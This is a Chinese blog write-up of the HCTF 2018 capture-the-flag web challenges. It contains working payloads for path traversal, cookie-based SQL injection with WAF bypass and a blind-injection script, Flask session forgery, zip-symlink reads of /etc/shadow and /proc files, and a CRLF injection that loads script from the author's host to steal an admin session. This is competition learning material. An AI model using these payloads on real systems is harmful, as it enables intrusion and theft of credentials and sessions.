Kingkk's Blog.

hctf2018-web writeup

2018/11/12 Share

前言

去年参加hctf的时候还是个小萌新,正好这个周末没什么事情参加了一下htcf的十周年纪念版,题目质量很高哈

和队友一起有幸做出了几道web题,记录并学习一下。(web狗只会做web。。。

Warmup

签到题,题目比较简单

html源码里能看到source.php的提示,从而可以获取到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

一个任意文件读取,但是需要?前的字符为source.php或者hint.php

常规方式应该是无法利用的,但是这里很刻意的写了个$_page = urldecode($page);,所以传参的时候只要两次url_encode就可以任意文件读取了

最后payload

1
http://warmup.2018.hctf.io/index.php?file=hint.php%253F/../../../../ffffllllaaaagggg

kzone

一个钓鱼网站,一进去就跳转,就只好扫一波目录

www.zip下载下来之后就是网站源码,然后就是一波源码审计

代码审计

定位到一个点include/member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
....

重点在$login_data = json_decode($_COOKIE['login_data'], true);

直接从$_COOKIE中取的数据,并且直接拼接到了SQL语句中

1
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

在本地搭建好环境后测试一波,我这里直接把SQL语句给die了出来

出现了一些奇怪的东西,最后定位到admin/safe.php

1
2
3
4
5
6
7
8
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

过滤了蛮多的字符,最后找到一个可以登录的payload

1
2
islogin=1; 
login_data={"admin_user":"admin'\rand\r'0","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}

此时的sql语句为

1
SELECT * FROM fish_admin WHERE username='admin'\rand\r'0' limit 1

这样$udata的值就恒为NULL,从而cookie中的admin_pass就为定值,可以伪造admin登录

进去之后搜了一波没找到什么有用的东西,最后还是把目光转回了SQL注入中,是否还能注入些更有用的数据呢?

SQL注入

根据waf找了一个勉强可以注入的语句

1
{"admin_user":"admin'\rand\rlpad(user(),{},2)in('r00t')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}

这时的SQL语句就变为了

1
select * from fish_admin where username='admin' and lpad(`username`,1,1)in('a') and'1' limit 1;

就可以通过是否登录成功进行盲注

这时候勉强可以注入出user()username这些无关痛痒的信息,但是当想注表名之类的数据时,就会因为information中存在or而无法注入

最后,组内一个大佬提示了一波unicode编码

json_decode在解码的时候会进行一次unicode解码

这样问题就好解决了,只要把被过滤的字符进行unicode编码然后传入就可以了,写了一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string

url = "http://kzone.2018.hctf.io/admin/login.php"

rg = '._- {}'+string.digits+string.ascii_letters+'&'
flag = ''

for l in range(30):
for i in rg:
cookies = {
"islogin":"1",
# 'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rcolumn_name\rfrom\rinf\u006frmation_schema.columns\rwhere\rtable_name\u003d'F1444g'limit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
'login_data': r'''{{"admin_user":"admin'\rand\rlpad((select\rf1a9\rfrom\rF1444g\rlimit\r1),{},2)in('{}{}')\rand'1","admin_pass":"3aa526bed244d14a09ddcc49ba36684866ec7661"}}'''.format(l+1,flag, i)
}

r = requests.get(url, cookies=cookies)
print(i, end="\r")
# print("\r")
if len(r.text) > 1000:
flag+=i
print(flag)
break
if i == '&':
exit()

admin

一开始有点懵,不知道做什么,后来在改密码的地方发现了源码泄露(不得不说蛮隐秘。。

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

下载下来之后,可以在templates/index.html中看到

1
2
3
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}

说明只要session中的name值为admin就可以看到flag

flask中session的一些问题可以看p神的https://www.leavesongs.com/PENETRATION/client-session-security.html

需要伪造session就需要app.config['SECRET_KEY']的值一致才可以伪造,这里可以很明显的看到、

config.py

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

在本地起了环境之后可以发现os.environ.get('SECRET_KEY')是不存在的

所以SECRET_KEY的值就为固定的cjk123

这样,就比较简单了。在本地中删除admin的账户,再注册一个admin既可获取到对应的session

利用这个session放到比赛环境中,就可以成功伪造

1
session=.eJxFkEGLgzAQhf_KMucebIoXoYeFbIsLk6DEyuRSutUao3FBW6op_e8burB7fe_Nx3vzgONlrCcDyXW81Ss4thUkD3j7ggSQaYs875ClkeSml1x0Yp_3cr8zwnez8O-MWN5TiQu5T0PlwQVt0cq0wqYMbbjlKSNPHi1FwlEseO60ShdZprFUlUXbMM2LWdtsIUUxOryTP8daFbEus1mUwkllevR5yOousI1WwghFa_LNXapuRlts4bmC8zRejtfvrh7-J1hj0WcbqZAJv2vJ0QZ5s7xw7NAKFeqWH5F2h1ArzHHZorPtC9e6U1P_kYr9dVD3X2c4uWDAqXLtACu4TfX4-husI3j-AJEPb0Q.W-ecjw.kmDKDiOWm-kN8mitYFL-eVyT2dQ

hide and seek

zip软连接

进入之后是一个上传zip的功能,首先想到的就是zip软连接的问题

1
2
ln -s /etc/passwd passwd
zip -y passwd.zip passwd

生成一个zip文件上传后,也正如预料的,成功读取到了/etc/passwd

但是这貌似才刚刚开始,然后呢,尝试读取了/flagapp/run.py之类的文件都没有对应的数据返回

但是可以读取/etc/shadow,说明权限是root

一切皆文件

这里卡了蛮久的,然后再网上搜索了一番,利用linux中一切皆文件的性质,尝试读取一些运行状态信息

最后读取了/proc/self/environ

貌似看到了一些有用的信息

1
2
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg

尝试读取下这个配置文件,可以获取到文件名

尝试读取

1
/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

就可以读取到源码

session伪造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'

try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

一开始想着直接读取flag,但是被限制了

1
2
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))

解密登录的session可以看到,session中就存放了一个字典

猜测只要username字段等于admin就可以看到flag(读取templates/index.html也可以验证这一点

代码里有一个很诡异的随机数播种random.seed(uuid.getnode())

利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一致的

可以知道uuid.getnode()的值是当前MAC地址的十进制形式,则可以通过读取/sys/class/net/eth0/address来获取到MAC地址

1
12:34:3e:14:7c:62

转换成十进制后为20015589129314

然后尝试在本地用python2起了这个服务,一开始怎么试都不行,一开始以为是随机数的问题

后来用python3尝试了下,发现输出的随机数的精度不一样。。。

1
11.935137566861131

这样,在app.config['SECRET_KEY']一致的时候,session则是可以伪造的,在本地登录个admin账号,然后用session的值放到比赛环境中,就可以看到flag了


赛后复现题

game

在排序的时候,可以选择用password排序

这样,就可以疯狂注册账号,注册不同的密码,根据账号在admin的前后位置来fuzz出admin的密码

bottle

只有几个简单的登录注册,提交url功能。看了wp才知道bottle是个python框架,主要漏洞来自于

https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

一个2016年的cve漏洞,并且题目也提示了是用的firefox box,在302跳转的/path页面中存在一个CRLFhttp头截断

漏洞重点都在p神的文章中提到了,只要将跳转的url小于80即可

1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0a%0d%0a<script%20src=//script.kingkk.com/1.js></script>

这样提交之后,就可以收到admin的session了,换上session之后,就可以看到flag

最后

由于是陆陆续续做的一些题,做完这些之后比赛就差不多快结束了,后面的题也就是瞟了一眼,有空还是会复现下的。感谢vidar-team一次体验极棒的比赛。

CATALOG
  1. 1. 前言
  2. 2. Warmup
  3. 3. kzone
    1. 3.1. 代码审计
    2. 3.2. SQL注入
  4. 4. admin
  5. 5. hide and seek
    1. 5.1. zip软连接
    2. 5.2. 一切皆文件
    3. 5.3. session伪造
  6. 6. game
  7. 7. bottle
  8. 8. 最后